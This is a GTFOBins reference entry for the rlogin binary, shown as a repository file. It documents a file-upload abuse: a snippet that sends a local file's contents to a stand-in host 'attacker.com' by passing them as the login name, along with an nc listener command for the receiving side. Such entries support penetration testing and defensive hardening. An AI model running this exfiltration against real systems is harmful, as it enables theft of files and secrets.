Files
GTFOBins.github.io/_gtfobins/rlogin.md
2018-12-31 13:35:36 +01:00

11 lines
317 B
Markdown

---
functions:
file-upload:
- description: Send contents of a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker system to capture the contents.
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
rlogin -l "$(cat $LFILE)" -p $RPORT $RHOST
---